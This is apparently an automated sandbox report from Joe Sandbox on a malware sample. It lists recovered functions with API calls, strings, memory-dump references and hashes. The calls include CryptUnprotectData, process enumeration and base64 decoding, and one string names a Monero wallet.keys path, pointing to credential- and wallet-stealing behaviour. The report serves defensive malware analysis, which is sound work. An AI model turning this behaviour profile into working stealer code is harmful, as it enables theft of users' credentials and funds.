Instruction Fuzzy Hash: 80B208F360C2109FE7046E2DEC8567ABBE9EF94720F1A463DE6C4C3744EA3598058697

Function 0137B39E Relevance: 9.1, Strings: 6, Instructions: 1579COMMON

Download Yara Rule

Strings

3Y@, xrefs: 0137BCE1
.O], xrefs: 0137C12A
V&~, xrefs: 0137C383
7T]/, xrefs: 0137B938
brqO, xrefs: 0137C16D
F'}, xrefs: 0137B8F5

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7T]/$F'}$V&~$brqO$.O]$3Y@
API String ID: 0-3354459736
Opcode ID: a9a35a483cab9ff0dd60d75598899ae2f88e83cd5c3890575ccbc29cd324a0eb
Instruction ID: 539b90552102a31874366a8172bb0aa7ffac5b7bdc5a39a3e2459d0c0b9abc84
Opcode Fuzzy Hash: a9a35a483cab9ff0dd60d75598899ae2f88e83cd5c3890575ccbc29cd324a0eb
Instruction Fuzzy Hash: F5B2F6F360C200AFE3086F29EC8567ABBE9EF94720F16493DEAC587744E63558018797

Function 013765B6 Relevance: 9.1, Strings: 6, Instructions: 1555COMMON

Download Yara Rule

Strings

B Sw, xrefs: 013768FB
g3Wu, xrefs: 01377740
'sz~, xrefs: 01376774
'Iw_, xrefs: 013773AC
v], xrefs: 01376D88
v}v, xrefs: 0137776A

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'Iw_$'sz~$B Sw$g3Wu$v}v$v]
API String ID: 0-3312680460
Opcode ID: 8c38cd9cd0d70d8db6d10f0a3aa0b1eedce6c938c81ce0a1db8a46996638659b
Instruction ID: 6eb7c833ad7ae6f8020dc5ede085c88c53de4c47027a7aa3226181a08e7259b8
Opcode Fuzzy Hash: 8c38cd9cd0d70d8db6d10f0a3aa0b1eedce6c938c81ce0a1db8a46996638659b
Instruction Fuzzy Hash: 4CA215F360C2049FE7146E2DEC8567ABBE9EF94320F16493DEAC4C3744E63598058697

Function 013888E6 Relevance: 7.9, Strings: 5, Instructions: 1649COMMON

Download Yara Rule

Strings

w'7, xrefs: 01389552
)No, xrefs: 0138957A
s, xrefs: 013891D7
ne?{, xrefs: 013899C9
/L{, xrefs: 01389276

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /L{$ne?{$w'7$)No$s
API String ID: 0-1082953227
Opcode ID: f42597e84389864390c9c08e8535d442553f1e78964bacec61622521bf9c772b
Instruction ID: 076d2fc68f14368f002beaa467bcde748ae2cda805c199ad5fac3b1cc073188b
Opcode Fuzzy Hash: f42597e84389864390c9c08e8535d442553f1e78964bacec61622521bf9c772b
Instruction Fuzzy Hash: A3B206F390C2109FE704AE29EC8567AFBE9EF94320F1A492DEAC4D3744E67558408797

Function 0137E9E5 Relevance: 7.9, Strings: 5, Instructions: 1623COMMON

Download Yara Rule

Strings

.`O, xrefs: 0137F416
A:>, xrefs: 0137FB86
[D:G, xrefs: 0137F1D0
"4'w, xrefs: 0137FD90
~ ;, xrefs: 0137FD19

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "4'w$.`O$A:>$[D:G$~ ;
API String ID: 0-3101290174
Opcode ID: d2fb12ddc2017f380df36c8c5a741543b6a246766cc77f79dda07c4b0e78e712
Instruction ID: 4753fa9539d78091161055657917b79337747c8a000bacaccf7c0a30ae227796
Opcode Fuzzy Hash: d2fb12ddc2017f380df36c8c5a741543b6a246766cc77f79dda07c4b0e78e712
Instruction Fuzzy Hash: 4EB208F3A0C2009FE7046E2DEC8567ABBE9EFD4720F1A853DE6C4C3744EA7558058696

Function 01383AE6 Relevance: 7.8, Strings: 5, Instructions: 1578COMMON

Download Yara Rule

Strings

<GH, xrefs: 01383DD7
j_, xrefs: 013846EE
2VZo, xrefs: 01384027
5"], xrefs: 01384441
*y4/, xrefs: 01384B2D

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *y4/$2VZo$5"]$<GH$j_
API String ID: 0-2202854211
Opcode ID: c6f789fc90887ee6113bfc54471651ce5f724bf11022e10667dad6683bd1220a
Instruction ID: 138aa278eb925238298d4ba6d1c7fa3ee934176689ce291cf4f5bfc1cff690ca
Opcode Fuzzy Hash: c6f789fc90887ee6113bfc54471651ce5f724bf11022e10667dad6683bd1220a
Instruction Fuzzy Hash: 6FB2D5F350C200AFE7086F29EC8567AFBE9EF94720F1A892DE6C5C3744E63558418697

Function 00FBC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00FBC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00FBC87C
lstrcat.KERNEL32(?,00FD0B46), ref: 00FBC943
lstrcat.KERNEL32(?,00FD0B47), ref: 00FBC957
lstrcat.KERNEL32(?,00FD0B4E), ref: 00FBC978

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 141bb33ac321d38ba1a2a83e17d1898d954432b4e6bbaf55c5aa4bc00002fa4e
Instruction ID: c35882e1f817dd2ca9e385b1d02e7993c27076ae530bf6b63cd1e5d18a965464
Opcode Fuzzy Hash: 141bb33ac321d38ba1a2a83e17d1898d954432b4e6bbaf55c5aa4bc00002fa4e
Instruction Fuzzy Hash: DF416075D0421ADBDB20CF90DD89BEEBBB8AF88304F1041B9E509A7280D7749A84DF91

Function 00FB7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00FB724D
RtlAllocateHeap.NTDLL(00000000), ref: 00FB7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00FB7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00FB72A4
LocalFree.KERNEL32(?), ref: 00FB72AE

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 71e09781061a4e346e8456f0d44ed4e74e3402459b9def2b70cf9c12c13d6176
Instruction ID: e7c542d191b2898de9605e982c11592a1c691215e9eb307f2e048b10f19fe62b
Opcode Fuzzy Hash: 71e09781061a4e346e8456f0d44ed4e74e3402459b9def2b70cf9c12c13d6176
Instruction Fuzzy Hash: 65015275A40308BBDB24DFE4DD45F9D7778EF44701F104159FB19AB2C4DAB4AA408B64

Function 00FC9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00FC961E
Process32First.KERNEL32(00FD0ACA,00000128), ref: 00FC9632
Process32Next.KERNEL32(00FD0ACA,00000128), ref: 00FC9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00FC965C
CloseHandle.KERNEL32(00FD0ACA), ref: 00FC967A

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 7f44269e10ed3b0ab940505b458dbd5ba855465d623b0d847ff951e60ced9ca6
Instruction ID: 2a1b4fdfe3a22b0fea30344e43cef9773ff42b57406fa0802fea41eaaec0a435
Opcode Fuzzy Hash: 7f44269e10ed3b0ab940505b458dbd5ba855465d623b0d847ff951e60ced9ca6
Instruction Fuzzy Hash: F6014C75A00208EBCB24DFA5D959FEDB7F8EF48311F00419CA90A97280D7B4AB80EF50

Function 00FC8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00FD05B7), ref: 00FC86CA
Process32First.KERNEL32(?,00000128), ref: 00FC86DE
Process32Next.KERNEL32(?,00000128), ref: 00FC86F3

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

CloseHandle.KERNEL32(?), ref: 00FC8761

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 7c6c3a031851d35ee35f95768aeaabf4e3bac273284f4a17499cc39357bb0efd
Instruction ID: 5e5781529e2dbe2cdce7b9a13b4980cf18417f2c148f965ff3ebe1465273fbeb
Opcode Fuzzy Hash: 7c6c3a031851d35ee35f95768aeaabf4e3bac273284f4a17499cc39357bb0efd
Instruction Fuzzy Hash: 3E315971901219ABCB24DB50DE46FEEB778EF44704F1041ADA50AA2190EF386E45DFA1

Function 00FC8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00FB5184,40000001,00000000,00000000,?,00FB5184), ref: 00FC8EC0

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: bc43851ab988e762f10f4ec06be2c4f45724654ab06eed911bc0ad8938c6edc4
Instruction ID: 46bec3d33c7fe7e9c271538e0cf902a72a98bcb639d198b252cb859ac849db4a
Opcode Fuzzy Hash: bc43851ab988e762f10f4ec06be2c4f45724654ab06eed911bc0ad8938c6edc4
Instruction Fuzzy Hash: 08111C71200206BFDB04CFA4E996FA737A9AF89755F10945CF919CB240DB75EC82EB60

Function 00FB9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FB4EEE,00000000,00000000), ref: 00FB9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00FB4EEE,00000000,?), ref: 00FB9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FB4EEE,00000000,00000000), ref: 00FB9B2A
LocalFree.KERNEL32(?,?,?,?,00FB4EEE,00000000,?), ref: 00FB9B3F

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 944177e60116a878dbdee1fb2e4cb638177bd0972e9663fbf71992ede0d5eb4b
Instruction ID: 82f8e0466e02146078c0a395dc1ffbff9bc7ee27db2dd1231eed1e5fb243fe1b
Opcode Fuzzy Hash: 944177e60116a878dbdee1fb2e4cb638177bd0972e9663fbf71992ede0d5eb4b
Instruction Fuzzy Hash: 5411D4B4640308AFEB14CF64D895FAA77B5FB89711F208058FA199B384C7B5AA41DB50

Function 00FC7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00FD0E00,00000000,?), ref: 00FC79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00FC79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00FD0E00,00000000,?), ref: 00FC79C4
wsprintfA.USER32 ref: 00FC79F3

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
